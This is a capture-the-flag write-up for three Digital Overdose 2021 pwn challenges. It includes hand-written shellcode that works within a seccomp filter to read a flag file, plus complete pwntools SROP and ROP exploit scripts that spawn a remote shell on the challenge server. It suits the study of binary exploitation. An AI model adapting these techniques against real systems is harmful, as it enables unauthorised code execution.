Digital Overdose 2021 Autumn CTF

The Digital Overdose Community brings it’s second community CTF to existence.

It is a 2-day jeopardy-style CTF spanning multiple categories such as Web, Pwn, OSINT, Crypto, Stego, etc.

Source Analysis - Boris

First things first

We are given an ELF x86-64 binary, let’s execute it and see what happens.

┌──(kali㉿kali)-[~/ctf/digitaloverdose]
└─$ ./boris                
[.] Boris is bored. My genius needs using! Give me something to do!
1234
[+] Finally, a task! But you'll never break my access codes...
[!] Access codes applied!

                                              'lxko,
                                              ;xXWWO;
                                                cKWWk,
                            '''                 ':kNWk,
         ',,,           ':dO0Kkc,'               'xWMWOc'
       ;d0KK0l'        'oNMMMMWK0Oc'              dWMMMKc
      'xWMMW0l'        ;0MMMMMMMWMKx:             dWMMMNo
      ,OMM0o:'         ;0MMMMMMMMMNKo             dWMMMWd
     :xXMWx,           ,kMMMMMMMMM0o;             dWMMMMO,
    'OMMMWk,           'dWMMMMMMMMOc,            :0MMMMMNo
     xMMMW0c'           ,dNMMMMMMM0d:''  ',,   ,l0WMMMMMWd
     oNMMMXOl'        ':lxXMMMMMMMWNXKOxk0XKOk0XWMMMMMMMWd
     ;0MMMNK0l    ',;;:oKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO:
      dWMMMMMXkddokKKkdkXMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXd,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xoc,
      'ck0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXkdl;'
         ';cloxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMO,
              'dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,
              ,OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,
              lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO;
             'xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,

              ---------  I'm INVINCIBLE!! ---------

[.] Good luck... you'll need it!
[!] Better luck next time. SLUGHEADS!

The program is waiting for input, then sleeping for a short moment and printing the text seen above.

Dynamic Analysis

By running an strace on the program, we can already get a good idea of what is happening in the background. Interesting parts of the output can be seen below:

mmap(0xdead000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0xdead000
read(0, 1234
"1234\n", 4096)                 = 5
write(1, "[+] Finally, a task! But you'll "..., 63[+] Finally, a task! But you'll never break my access codes...
) = 63
seccomp(SECCOMP_SET_MODE_STRICT, 1, NULL) = -1 EINVAL (Invalid argument)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_TSYNC, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_LOG, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_GET_ACTION_AVAIL, 0, [SECCOMP_RET_LOG]) = 0
seccomp(SECCOMP_GET_ACTION_AVAIL, 0, [SECCOMP_RET_KILL_PROCESS]) = 0
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_SPEC_ALLOW, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_NEW_LISTENER, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_GET_NOTIF_SIZES, 0, 0x7ffd72c11ae2) = 0
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_TSYNC_ESRCH, NULL) = -1 EFAULT (Bad address)
[...]
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x7fd468e5bc0a} ---
write(1, "[!] Better luck next time. SLUGH"..., 38[!] Better luck next time. SLUGHEADS!
) = 38
exit_group(-1)                          = ?
+++ exited with 255 +++

Aha! Right before we send our input, the program allocated 4096 bytes of memory with RWX permission at the address 0xdead000. After running the strace twice, we notice that the address doesn’t change.

Next we notice a few calls to seccomp(), seccomp can be used to restrict the usage of certain syscalls, more on this later.

At last the program receives a Segmentation Fault and exits. This means the program tried to access invalid memory in one way or another. Since we didn’t get a segmentation fault message earlier, it can be assumed the program implements a custom signal handler.

Static Analysis

If we decompile the program with Ghidra and take a look at the main function, we can already recognize a lot of things we found during dynamic analysis.

  do {
     if (3 < local_1ac) {
        puts("[.] Boris is bored. My genius needs using! Give me something to do!");
        fflush(stdout);
        map_rwx = mmap((void *)0xdead000,0x1000,7,0x22,0,0);
        if ((int)map_rwx == 0xdead000) {
           read(0,(void *)0xdead000,0x1000);
           puts("[+] Finally, a task! But you\'ll never break my access codes...");
           fflush(stdout);
           bVar1 = sec();
           if ((int)CONCAT71(extraout_var,bVar1) == 0) {
              nanosleep(&local_198,&local_1a8);
              puts("[!] Access codes applied!");
              puts(BORIS_ART);
              puts("[.] Good luck... you\'ll need it!");
              fflush(stdout);
              nanosleep(&local_198,&local_1a8);
              (*(code *)0xdead000)();
              uVar3 = 0;
           }
           else {
              uVar3 = 1;
           }
        }

Okay let’s dig through this code a little more. We can ignore the two conditions as we already know we can reach at least puts("[.] Good luck... you\'ll need it!"); in the code.

This part will allocate 4096 bytes in memory at a fixed address of 0xdead000 with RWX permissions. You can read more about mmap and it’s flags here.

map_rwx = mmap((void *)0xdead000,0x1000,7,0x22,0,0);

Then the program reads 4096 bytes from stdin to this previosuly mapped memory area:

read(0,(void *)0xdead000,0x1000);

Afterwards the program does a few sleep commands and finally executes this line:

(*(code *)0xdead000)();

Essentially what this does is treat the memory at 0xdead000 as code/instructions and execute it like a regular function call. That also explains the segmentation fault from earlier, the program tried to execute my "1234\n" input, which probably resulted in bad instructions.

So this means we can simply read shellcode from stdin and get a shell, right?! Sadly, no. If we try to read a regular shellcode performing an execve(“/bin/sh”,0,0) for example, we notice that nothing happens.

What is seccomp?

Excerpt from wikipedia:

seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. seccomp allows a process to make a one-way transition into a “secure” state where it cannot make any system calls except exit(), sigreturn(), read() and write() to already-open file descriptors.

So basically seccomp can be used to restrict the usage of syscalls to only a very few, which won’t allow us to execute code.

During our initial analysis with strace, we already noticed a few calls to seccomp(). Looking a little bit closer with Ghidra we find that the sec() function is where these calls are being made.

bool sec(void)

{
  int success;
  undefined8 ctx;
  uint counter;
  undefined4 syscall_nums [8];
  
  ctx = seccomp_init(0x30000);
  syscall_nums[0] = 257;
  syscall_nums[1] = 0;
  syscall_nums[2] = 1;
  syscall_nums[3] = 40;
  syscall_nums[4] = 60;
  syscall_nums[5] = 231;
  syscall_nums[6] = 80;
  syscall_nums[7] = 230;
  counter = 0;
  while( true ) {
     if (7 < counter) {
        success = seccomp_load(ctx);
        return success != 0;
     }
     success = seccomp_rule_add(ctx,0x7fff0000,syscall_nums[(int)counter],0);
     if (success != 0) break;
     counter = counter + 1;
  }
  return true;
}

The sec function first initializes a new context by calling seccomp_init(0x30000);. The value 0x30000 refers to the SCMP_ACT_TRAP action. This means everytime a syscall not in the current filter is called, a SIGTRAP will be triggered.

Next the function initializes an array with 8 values each corresponding with a syscall. Again, you can look up each syscall in this table.

Then it’s looping 8 times, calling seccomp_rule_add(ctx,0x7fff0000,syscall_nums[(int)counter],0) each time. Essentially it’s adding all these 8 syscalls to the filter, so they will be allowed and won’t trigger a SIGTRAP.

Writing the shellcode

Now that we know which syscalls are allowed, we can start to build our shellcode. Since we have 4096 bytes to read, we don’t have to worry about space or any other constraints. The read() syscall can even read nullbytes, so we don’t have to avoid them (I did anyway, as practice).

The interesting syscalls that I used for my shellcode are:

%rax System Call %rdi %rsi %rdx %r10
40 sys_sendfile int out_fd int in_fd off_t *offset size_t count
80 sys_chdir const char *filename      
257 sys_openat int dfd const char *filename int flags int mode

The challenge description already gave away that the flag is located at /flag.txt, so my shellcode would look something like this in pseudo code:

sys_chdir("/");
int fd = sys_openat(AT_FDCWD, "flag.txt", 0, 0);
sys_sendfile(1, fd, 0, 30);

I think the code is pretty self explanatory. Reading through the man page for openat(), we learn that we need to use AT_FDCWD as the directory file descriptor to use the current working directory. The numeric value of AT_FDCWD is -100 as seen here.

My final shellcode written in assembly can be seen below:

 0:   48 31 c0                xor    rax,rax                  ; rax = 0
 3:   48 31 db                xor    rbx,rbx                  ; rbx = 0
 6:   b3 2f                   mov    bl,0x2f                  ; rbx = "/"
 8:   50                      push   rax
 9:   53                      push   rbx
 a:   48 89 e7                mov    rdi,rsp                  ; rdi = address of "/"
 d:   48 83 c0 50             add    rax,0x50                 ; rax = 80
11:   0f 05                   syscall                         ; sys_chdir("/")
13:   48 31 c0                xor    rax,rax                  ; rax = 0
16:   48 bb 66 6c 61 67 2e    movabs rbx,0x7478742e67616c66   ; rbx = "flag.txt"
1d:   74 78 74 
20:   50                      push   rax
21:   53                      push   rbx
22:   48 31 ff                xor    rdi,rdi ; rdi = 0
25:   48 c7 c7 9c ff ff ff    mov    rdi,0xffffffffffffff9c   ; rdi = -100
2c:   48 31 d2                xor    rdx,rdx
2f:   48 89 e6                mov    rsi,rsp                  ; rsi = address of "flag.txt"
32:   48 c7 c0 ff fe ff ff    mov    rax,0xfffffffffffffeff   ; rax = -257 (avoid null byte)
39:   48 f7 d8                neg    rax                      ; rax = -rax
3c:   0f 05                   syscall                         ; openat(-100,"flag.txt", 0, 0)
3e:   50                      push   rax                      ; push fd to stack
3f:   48 31 c0                xor    rax,rax                  ; rax = 0
42:   48 83 c0 28             add    rax,0x28                 ; rax = 40
46:   48 31 ff                xor    rdi,rdi                  ; rdi = 0
49:   48 ff c7                inc    rdi                      ; rdi = rdi + 1
4c:   5e                      pop    rsi                      ; rsi = fd
4d:   48 31 d2                xor    rdx,rdx                  ; rdx = 0 (offset)
50:   4d 31 d2                xor    r10,r10                  ; r10 = 0 (count)
53:   49 83 c2 1e             add    r10,0x1e                 ; r10 = 30 (count)
57:   0f 05                   syscall                         ; sendfile(1, fd, 0, 30)

Finally we assemble the shellcode, save it to a file, then redirect it into our netcat command to receive the flag!

┌──(kali㉿kali)-[~/ctf/digitaloverdose]
└─$ nc 193.57.159.27 40000 < shellcode.txt

[.] Boris is bored. My genius needs using! Give me something to do!
[+] Finally, a task! But you'll never break my access codes...
[!] Access codes applied!

                                              'lxko,
                                              ;xXWWO;
                                                cKWWk,
                            '''                 ':kNWk,
         ',,,           ':dO0Kkc,'               'xWMWOc'
       ;d0KK0l'        'oNMMMMWK0Oc'              dWMMMKc
      'xWMMW0l'        ;0MMMMMMMWMKx:             dWMMMNo
      ,OMM0o:'         ;0MMMMMMMMMNKo             dWMMMWd
     :xXMWx,           ,kMMMMMMMMM0o;             dWMMMMO,
    'OMMMWk,           'dWMMMMMMMMOc,            :0MMMMMNo
     xMMMW0c'           ,dNMMMMMMM0d:''  ',,   ,l0WMMMMMWd
     oNMMMXOl'        ':lxXMMMMMMMWNXKOxk0XKOk0XWMMMMMMMWd
     ;0MMMNK0l    ',;;:oKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO:
      dWMMMMMXkddokKKkdkXMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXd,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xoc,
      'ck0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXkdl;'
         ';cloxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMO,
              'dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,
              ,OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,
              lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO;
             'xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,

              ---------  I'm INVINCIBLE!! ---------

[.] Good luck... you'll need it!
DO{H0w_cAn_thi5_b3!?_n0b0dy_Sp!ke5_B0r1s!}
[!] Better luck next time. SLUGHEADS!

ROPuzzle V0 - SROP

This challenge was very similar to a CTF challenge I created back in 2019. It’s a small binary written in assembly, with ASLR and NX enabled.

The program reads an input from stdin, which leads to a bufferoverflow after 8 bytes. Pretty quickly I realized the similarity to my challenge and adjusted my SROP exploit to work for this challenge. The key difference in this challenge is that we already have the string /bin/sh available in the binary at a fixed address. This makes exploitation a lot easier.

If you don’t know what SROP is, I suggest reading my post linked above or checking out the whitepaper for a deeper understanding.

Alright.. let’s get into it!

Disassembly

Disassembly of section .text:

0000000000401000 <_start>:
  401000:       55                      push   rbp
  401001:       48 89 e5                mov    rbp,rsp
  401004:       e8 05 00 00 00          call   40100e <get_input>
  401009:       e8 20 00 00 00          call   40102e <exit>

000000000040100e <get_input>:
  40100e:       55                      push   rbp
  40100f:       48 89 e5                mov    rbp,rsp
  401012:       b8 00 00 00 00          mov    eax,0x0
  401017:       bf 00 00 00 00          mov    edi,0x0
  40101c:       48 89 e6                mov    rsi,rsp
  40101f:       ba 00 10 00 00          mov    edx,0x1000
  401024:       e8 02 00 00 00          call   40102b <syscall_me>
  401029:       c9                      leave  
  40102a:       c3                      ret    

000000000040102b <syscall_me>:
  40102b:       0f 05                   syscall 
  40102d:       c3                      ret    

000000000040102e <exit>:
  40102e:       b8 3c 00 00 00          mov    eax,0x3c
  401033:       bf 00 00 00 00          mov    edi,0x0
  401038:       0f 05                   syscall 
  40103a:       e8 ef ff ff ff          call   40102e <exit>

000000000040103f <gadget>:
  40103f:       58                      pop    rax
  401040:       c3                      ret    

Disassembly of section .data:

0000000000402000 <msg>:
  402000:       2f                      (bad)  
  402001:       62                      (bad)  
  402002:       69                      .byte 0x69
  402003:       6e                      outs   dx,BYTE PTR ds:[rsi]
  402004:       2f                      (bad)  
  402005:       73 68                   jae    40206f <_end+0x67>

Trigger sigreturn syscall

Since we don’t have any gadgets available that will trigger a sigreturn (syscall 15), we have to think of a different way. We already have an easy syscall;ret gadget, so we just need to manipulate the RAX register and set it to 15 (0xf).

Here is another difference to my challenge, this was one has a pop rax gadget available while my challenge didn’t and you needed a different method to set RAX.

So we simply pop the value 15 into RAX, then return to the syscall gadget. This will trigger the sigreturn, which will restore the program state from a sigreturn frame on the stack.

At this point the payload would look like this:

syscall_ret = 0x40102b
pop_rax = 0x40103f

payload = b'A'*8
payload += p64(pop_rax)
payload += p64(15) # 15 for sigret
payload += p64(syscall_ret)

Building the frame

The sigreturn allows us to control every register, including RIP. This means we can completely redirect the control flow and basically execute anything we want. We want to set up the registers in a way that we execute execve("/bin/sh",0,0).

The string "/bin/sh" can already be found in the binary and will be at a fixed location.

┌──(kalikali)-[~/ctf/digitaloverdose/pwn/V0]
└─$ strings -t x main | grep /bin/sh
   2000 /bin/sh

It can be found at an offset of 0x2000. Now we need to find out what the base addres will be of the program.

┌──(kalikali)-[~/ctf/digitaloverdose/pwn/V0]
└─$ readelf -l main

Elf file type is EXEC (Executable file)
Entry point 0x401000
There are 3 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x00000000000000e8 0x00000000000000e8  R      0x1000
  LOAD           0x0000000000001000 0x0000000000401000 0x0000000000401000
                 0x0000000000000041 0x0000000000000041  R E    0x1000
  LOAD           0x0000000000002000 0x0000000000402000 0x0000000000402000
                 0x0000000000000007 0x0000000000000007  RW     0x1000

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .text 
   02     .data

We can see that the VirtAddr of the program will start at 0x400000, which means "/bin/sh" will be at 0x402000. It makes sense because it’s also referred to as the .data section and the string is the only data used in the program.

Another easy way to find the address is with gdb-peda:

gdb-peda$ start
[...]
Temporary breakpoint 1, 0x0000000000401004 in _start ()
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
main : 0x402000 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ 

Now we know the address of "/bin/sh" and we can set up the registers to perform the execve() syscall.

All x64 syscalls and their respective arguments can be found here.

With the help of pwntools we can easily build the frame like this:

frame = SigreturnFrame()
frame.rax = 0x3b # sys_execve()
frame.rdi = 0x402000 # const char *filename
frame.rsi = 0 # const char *const argv[]
frame.rdx = 0 # const char *const envp[]
frame.rsp = 0x402000 # a valid writable address
frame.rip = syscall_ret # syscall;ret

Final Exploit

Find my final exploit below:

from pwn import *

p = remote('193.57.159.27',23866)
#p = process('./main')
context.clear(arch='amd64')

syscall_ret = 0x40102b
pop_rax = 0x40103f

payload = b'A'*8
payload += p64(pop_rax)
payload += p64(15) # 15 for sigret
payload += p64(syscall_ret)

frame = SigreturnFrame()
frame.rax = 0x3b # sys_execve()
frame.rdi = 0x402000 # const char *filename
frame.rsi = 0 # const char *const argv[]
frame.rdx = 0 # const char *const envp[]
frame.rsp = 0x402000 # a valid writable address
frame.rip = syscall_ret # syscall;ret

payload += bytes(frame)

p.send(payload)

p.interactive()

"""
┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V0]
└─$ python3 exploit.py
[+] Opening connection to 193.57.159.27 on port 23866: Done
[*] Switching to interactive mode
$ ls -la
total 16
drwxr-xr-x. 1 root root   22 Oct  9 00:03 .
drwxr-xr-x. 1 root root   17 Oct  8 23:36 ..
-rwxr--r--. 1 root root   20 Oct  9 00:02 flag.txt
-rwxr-xr-x. 1 root root 8960 Oct  9 00:02 run
$ cat flag.txt
DO{h0Rr4Y_F0r_SR0P!}$
$ id
uid=101(ractf) gid=65534(nogroup) groups=65534(nogroup)
$ exit
"""

ROPuzzle V1 - Still SROP ;)

This challenge has the same simple bufferoverflow but tries to make exploitation harder by introducing a mechanism to make sure we exploit it in one shot. Furthermore we have a few different gadgets available this time than before.

Disassembly

Let’s have a look at the disassembly. I added some comments for easier understanding

Disassembly of section .text:

0000000000401000 <_start>:
  401000:       e8 05 00 00 00          call   40100a <get_input>
  401005:       e8 5e 00 00 00          call   401068 <exit>

000000000040100a <get_input>:
  40100a:       48 83 ec 08             sub    rsp,0x8
  40100e:       b8 00 00 00 00          mov    eax,0x0
  401013:       bf 00 00 00 00          mov    edi,0x0
  401018:       48 89 e6                mov    rsi,rsp
  40101b:       ba 00 10 00 00          mov    edx,0x1000
  401020:       0f 05                   syscall 
  401022:       8b 04 25 00 20 40 00    mov    eax,DWORD PTR ds:0x402000 ; set RAX to value of safety variable
  401029:       85 c0                   test   eax,eax
  40102b:       75 3b                   jne    401068 <exit>             ; if(var!=0){ exit(); }
  40102d:       c7 04 25 00 20 40 00    mov    DWORD PTR ds:0x402000,0x1 ; set var to 1
  401034:       01 00 00 00 
  401038:       b8 00 00 00 00          mov    eax,0x0
  40103d:       bb 00 00 00 00          mov    ebx,0x0
  401042:       b9 00 00 00 00          mov    ecx,0x0
  401047:       ba 00 00 00 00          mov    edx,0x0
  40104c:       be 00 00 00 00          mov    esi,0x0
  401051:       41 b8 00 00 00 00       mov    r8d,0x0
  401057:       41 b9 00 00 00 00       mov    r9d,0x0
  40105d:       41 ba 00 00 00 00       mov    r10d,0x0
  401063:       48 83 c4 08             add    rsp,0x8
  401067:       c3                      ret    

0000000000401068 <exit>:
  401068:       b8 3c 00 00 00          mov    eax,0x3c
  40106d:       bf 00 00 00 00          mov    edi,0x0
  401072:       0f 05                   syscall                          ; exit() syscall
  401074:       e8 ef ff ff ff          call   401068 <exit>             ; no syscall;ret gadget this time

0000000000401079 <gadget_1>:
  401079:       b8 06 00 00 00          mov    eax,0x6
  40107e:       c3                      ret    

000000000040107f <gadget_2>:
  40107f:       b8 09 00 00 00          mov    eax,0x9
  401084:       c3                      ret    

0000000000401085 <gadget_3>:
  401085:       48 89 c7                mov    rdi,rax
  401088:       c3                      ret    

0000000000401089 <gadget_4>:
  401089:       48 89 f8                mov    rax,rdi
  40108c:       c3                      ret    

000000000040108d <gadget_5>:
  40108d:       48 89 c6                mov    rsi,rax
  401090:       c3                      ret    

0000000000401091 <gadget_6>:
  401091:       48 89 f0                mov    rax,rsi
  401094:       c3                      ret    

0000000000401095 <gadget_7>:
  401095:       48 89 c2                mov    rdx,rax
  401098:       c3                      ret    

0000000000401099 <gadget_8>:
  401099:       48 89 d0                mov    rax,rdx
  40109c:       c3                      ret    

000000000040109d <gadget_9>:
  40109d:       48 f7 ef                imul   rdi
  4010a0:       c3                      ret    

00000000004010a1 <gadget_10>:
  4010a1:       48 01 f8                add    rax,rdi
  4010a4:       c3                      ret    

00000000004010a5 <gadget_11>:
  4010a5:       48 29 f8                sub    rax,rdi
  4010a8:       c3                      ret    

00000000004010a9 <gadget_12>:
  4010a9:       48 f7 f7                div    rdi
  4010ac:       c3                      ret    

00000000004010ad <gadget_13>:
  4010ad:       88 07                   mov    BYTE PTR [rdi],al
  4010af:       48 81 ff 00 20 40 00    cmp    rdi,0x402000
  4010b6:       74 b0                   je     401068 <exit>
  4010b8:       c3                      ret

Heres a quick rundown of what the program is doing:

  1. read 0x1000 bytes from stdin to the stack
  2. check if value at 0x402000 is 0
  3. if the value is not zero (therefore it changed), exit the program
  4. set the value at 0x402000 to 1
  5. clear out all registers
  6. adjust stack and return

My Exploit Idea

There isn’t any gadget to directly control RAX, but multiple other gadgets that can be used to set RAX to 15. This can be done by chaining the following 4 gadgets:

0000000000401079 <gadget_1>:
  401079:       b8 06 00 00 00          mov    eax,0x6
  40107e:       c3                      ret    

0000000000401085 <gadget_3>:
  401085:       48 89 c7                mov    rdi,rax
  401088:       c3                      ret

000000000040107f <gadget_2>:
  40107f:       b8 09 00 00 00          mov    eax,0x9
  401084:       c3                      ret

00000000004010a1 <gadget_10>:
  4010a1:       48 01 f8                add    rax,rdi
  4010a4:       c3                      ret

This will simply add 9 to 6, which will result in RAX being set to 15, the syscall number for sigret.

The next immediate problem is that we don’t have the string "/bin/sh" available at a known address within the binary. That means we have to place it somewhere, where we can predict the address. We could return into get_input and perform a 2nd read syscall to write the string onto the stack, except we wouldn’t be able to predict the address because of ASLR and the security check will kick in an exit the program…

A different solution is needed. Luckily we can solve those two problems with one method, SROP. First we set RSP to 0x402000 (.data) again just like before. Now we have a stack, which will always have the same address and we can easily predict. But how can we get around the security check for the variable set to 1? Easy! The stack is exactly at the address where the variable is located, so all we need to do is overwrite it with a 0 by executing a read() syscall. Then we can repeat the bufferoverflow and set up the execve() call with our fixed stack.

Building the Exploit

Okay, let’s start building the payload up to this point. The following will overflow the buffer, chain the gadgets to set RAX=15, and finally return to a syscall and executing the sigret.

mov_rax_6 = 0x401079
mov_rdi_rax = 0x401085
mov_rax_9 = 0x40107f
add_rax_rdi = 0x4010a1

payload = b'A'*8
payload += p64(mov_rax_6)
payload += p64(mov_rdi_rax)
payload += p64(mov_rax_9) 
payload += p64(add_rax_rdi) # set rax=0xf
payload += p64(0x401072) # syscall (sigret)

Next we want to set up all the registers so we have a controlled stack and overwrite the first value on the stack with a 0. The sigreturn frame will look like this:

frame = SigreturnFrame()
frame.rax = 0 # read() syscall
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x402000 # set stack to writable memory with know addr
frame.rip = 0x401018 # jmp to get_input

Once the sigreturn is executed the execution flow of the program will continue here:

  401018:       48 89 e6                mov    rsi,rsp
  40101b:       ba 00 10 00 00          mov    edx,0x1000
  401020:       0f 05                   syscall 
[...]

Now the program will wait for input again, which will then be written to the stack (0x402000). The first value of our input has to be 0, then we can overflow the buffer again and set up another sigret just like before.

payload = p64(0) # overwrite sanity with 0
payload += p64(mov_rax_6)
payload += p64(mov_rdi_rax)
payload += p64(mov_rax_9)
payload += p64(add_rax_rdi) # set rax=0xf
payload += p64(0x401072) # syscall (sigret)

The last thing we need to do now is set up the sigreturn frame to execute execve("/bin/sh",0,0) just like in V0. If you thought I forgot about "/bin/sh", worry not! Since we know the address of the stack all we have to do is append the string at the very end of our payload and add the length of the payload to the stack address. The code will look like this:

frame = SigreturnFrame()
bin_sh = 0x402000 + len(payload) + len(bytes(frame)) # calculate /bin/sh address
frame.rax = 0x3b # execve()
frame.rdi = bin_sh # /bin/sh address
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x402000 # doesn't matter really
frame.rip = 0x401072 # syscall

payload += bytes(frame) # add frame
payload += b"/bin/sh\x00" # add /bin/sh

Short Recap of Exploit

  1. Execute first sigret
  2. Shift stack to known address (0x402000)
  3. overwrite stack with 0 + ROPChain
  4. set up second sigret
  5. append “/bin/sh” at the end and calculate address
  6. trigger sigret
  7. execve(“/bin/sh”,0,0) and we win :)

Final Exploit

Find my final exploit below:

from pwn import *
import time

p = remote('193.57.159.27',52852)
#p = process('./main')
context.clear(arch='amd64')
context.log_level = 'debug'

mov_rax_6 = 0x401079
mov_rdi_rax = 0x401085
mov_rax_9 = 0x40107f
add_rax_rdi = 0x4010a1
mov_rdi_al = 0x4010ad
imul = 0x40109d

payload = b'A'*8
payload += p64(mov_rax_6)
payload += p64(mov_rdi_rax)
payload += p64(mov_rax_9) 
payload += p64(add_rax_rdi) # set rax=0xf
payload += p64(0x401072) # syscall (sigret)

frame = SigreturnFrame()
frame.rax = 0 # read syscall
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x402000 # set stack to writable memory with know addr
frame.rip = 0x401018 # jmp to get_input

# since we set rsp to 0x402000 (where sanity check is)
# we can overwrite it with 0 to bypass the oneshot ;)

payload += bytes(frame)

# sending
p.send(payload)
time.sleep(0.1)

payload = p64(0) # overwrite sanity with 0
payload += p64(mov_rax_6)
payload += p64(mov_rdi_rax)
payload += p64(mov_rax_9)
payload += p64(add_rax_rdi) # set rax=0xf
payload += p64(0x401072) # syscall (sigret)


frame = SigreturnFrame()
bin_sh = 0x402000 + len(payload) + len(bytes(frame)) # calculate /bin/sh address
frame.rax = 0x3b # execve()
frame.rdi = bin_sh # /bin/sh address
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x402000 # doesn't matter really
frame.rip = 0x401072 # syscall

payload += bytes(frame) # add frame
payload += b"/bin/sh\x00" # add /bin/sh

p.send(payload)
p.interactive()

"""
┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V1]
└─$ python3 exploit.py
[+] Opening connection to 193.57.159.27 on port 52852: Done
[*] Switching to interactive mode
$ ls -la
total 16
drwxr-xr-x. 1 root root   22 Oct  9 00:05 .
drwxr-xr-x. 1 root root   17 Oct  8 23:36 ..
-rwxr--r--. 1 root root 1523 Oct  9 00:05 flag.txt
-rwxr-xr-x. 1 root root 9384 Oct  9 00:04 run
$ cat flag.txt
DO{DO{9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9+9*9*9*9*9*9*9+9*9*9*9*9*9*9+9*9*9*9*9*9*9+9*9*9*9*9*9+9*9*9*9*9*9+9*9*9*9*9*9+9*9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9+9*9*9*9+9*9*9*9+9*9*9*9+9*9*9*9+9*9*9*9+9*9*9+9*9*9+9*9*9+9*9+9*9+9*9+9+9+9+9+9+9//9+9//9+9//9+9//9+9//9+9//9+9//9}}
$ id
uid=101(ractf) gid=65534(nogroup) groups=65534(nogroup)
$ exit
"""

PS: After seeing the flag, maybe I didn’t do what the author intended ;)